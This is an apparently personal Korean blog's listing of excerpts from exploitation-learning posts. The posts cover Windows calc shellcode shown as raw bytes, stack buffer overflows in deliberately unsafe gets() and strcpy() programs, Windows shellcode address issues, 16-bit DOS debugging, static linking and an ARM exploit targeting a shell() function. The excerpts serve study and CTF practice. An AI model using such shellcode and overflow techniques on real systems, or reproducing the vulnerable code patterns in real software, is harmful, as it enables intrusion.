Hack
-
Windows Calc ShellcodeHack/Windows 2016. 6. 1. 03:33
\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x..
-
Windows BOF Exploit with ShellcodeHack/Windows 2016. 5. 27. 02:29
windows bof 공부하는데, 쉘코드를 이용해서 계산기를 띄우는것에대해 글을 작성해보려고해요 리눅스에서 오버플로우를 공부하면서 이미 보호기법에대해서는 깨쳤으니 NX, 즉 DEP가 걸려있다면 스택의 실행권한이 존재하지않아 쉘코드가 실행이 불가능하겠죠!리눅스에서는 ROP가 존재하고, mprotect 함수를 사용할수있었는데, 윈도우즈에서도 마찬가지로 ROP가 존재하고, ROP로 VirtualAlloc 같은 함수로 영역을만들어서 실행권한을 줄수있는 등 공격기법이 존재하더라구요 차차 배우겠지만~ 우선 코드는 그냥 gets 함수에서 터지는 코드를 작성해보았어요 #include int main() { char buf[256]; gets(buf); printf("%s",buf); return 0; } buffer는..
-
Windows Shellcode 에러Hack/Windows 2016. 5. 27. 01:01
shellcode 를 만드는법에 대해서 알아보았는데 강의를 보아선 정말 간단했다. 리눅스는 쉘코드를 직접만들지않고 다른사람의것을 가져와도 되지만 윈도우즈는 조금 틀렸다. 윈도우즈는 각자의 환경에따라 kernel32.dll이 바이너리에 맵핑될때 주소가 다르고, ImageBase 값도 다르며 각 함수의 오프셋도 다르기때문에 직접 작성해주어야한다. ------- 쉘코드 만드는법에 대해서는 다른 강의가많으니 구지 설명을 따로 할 필요없이, 함수의 offset 과 kernel32.dll의 ImageBase대로 똑같이 계산했는데 쉘코드가 정상작동하지않아 화가날때 참고하라는 글입니다! 우선 모두가 하는일이 아래와같은 코드를 짜서 Disassembly한 결과로 테스트를 해볼거에요 아마 #include int main(..
-
Windows BOFHack/Windows 2016. 5. 24. 20:45
이제부터 Win BOF를 공부해보려 하는데, 간단한 프로그램을 작성해서 리눅스와 동일하게 오버플로우를 해보았다. #include void flag() {char flag[20];FILE *fp;fp = fopen("flag.txt","r");fgets(flag,sizeof(flag),fp);printf("%s",flag);fclose(fp);} int main(){char buf[12];gets(buf);printf("%s",buf);return 0;} 소스는 간단하게 flag 라는 함수가 존재하고 gets 함수에서 오버플로우가 발생한다. 그럼 12바이트를 채우고, ebp와 eip를 덮어주면 되겠지 A를 16개입력해주니, EBP가 41414141로 바뀌었다. eip 를 덮어줘야하는데, flag 함수의 위..
-
-
16bit Debugging/ 16bit Dynamic DebuggingHack/Pwnable 2016. 5. 9. 00:38
dos4fun을 풀게되다가 알아낸 방법이다. 뭐 누구나 이렇게 분석할테지만 일단 필요한것은 정적분석으론 IDA가 필요하겠지만 동적분석으론 bochs로 애뮬레이팅해도되지만 더 쉬운방법이 존재해 알려드리려고한다. 일단 DosBox가 필요하다. dosbox는 검색해도나오니까 알아서들 다운받으시면되고~~~ Tasm이 필요하다 이안에 Turbo Debugger가있음!! [링크[http://techapple.net/2013/01/tasm-windows-7-windows-8-full-screen-64bit-version-single-installer/ 해당 링크로 들어가서 다운받아주면된다. 이상한거 아니니까 절대 의심하지말도록하자 exe 파일을 설치하게되면 c:/tasm이란 디렉터리가생기는데 해당 디렉터리에 많은 파..
-
Static LinkHack/Pwnable 2016. 3. 7. 23:25
컴파일할때, 아무 옵션을 주지않고 컴파일을하게되면 Dynamic link로 컴파일이된다. 이럴때 라이브러리가 파일외부에 존재하기때문에 프로그램은 GOT와 PLT로, 함수를 직접호출하지않고 함수의 주소를 타고들어가서 가져오게된다. 하지만 다른방법이있다. 이렇게 static옵션을 주게되면 바이너리는 static link의 속성을 가지게된다. 이렇게되면 라이브러리가 내부에존재해 따로 실제 함수의 주소 즉 GOT를 참조하지않게된다. 하지만, static link로 컴파일할시에, 바이너리의 크기가 커지는 단점이 존재한다. 실제로 아이다로 열어보았을때의 모습이다. GOT와 PLT섹션이 따로존재하지않고 함수를 따라가 분석할수있게된다. malloc함수의 내부인데 PLT로 가지않고 실제로 이런모습이존재한다 정말 분석하기..
-
ARM ExploitHack/Pwnable 2016. 1. 11. 22:54
#include #include void shell(){system("/bin/sh");}void vuln(char *arg){char buf[10];strcpy(buf,arg);}int main(int argc,char *argv[]){char buffer[256];if(argc < 2) {printf("argv error\n");exit(0);}vuln(argv[1]);return 0; } 코드는 간단하다. 라즈베리파이같이 ARM 환경의 서버가 있다면 gcc로 컴파일해주자. 만약 존재하지않는다면, cross compiler로 돌려 qemu로 돌리면된다. (gdb) disas mainDump of assembler code for function main: 0x000084a8 :push{r11, lr}..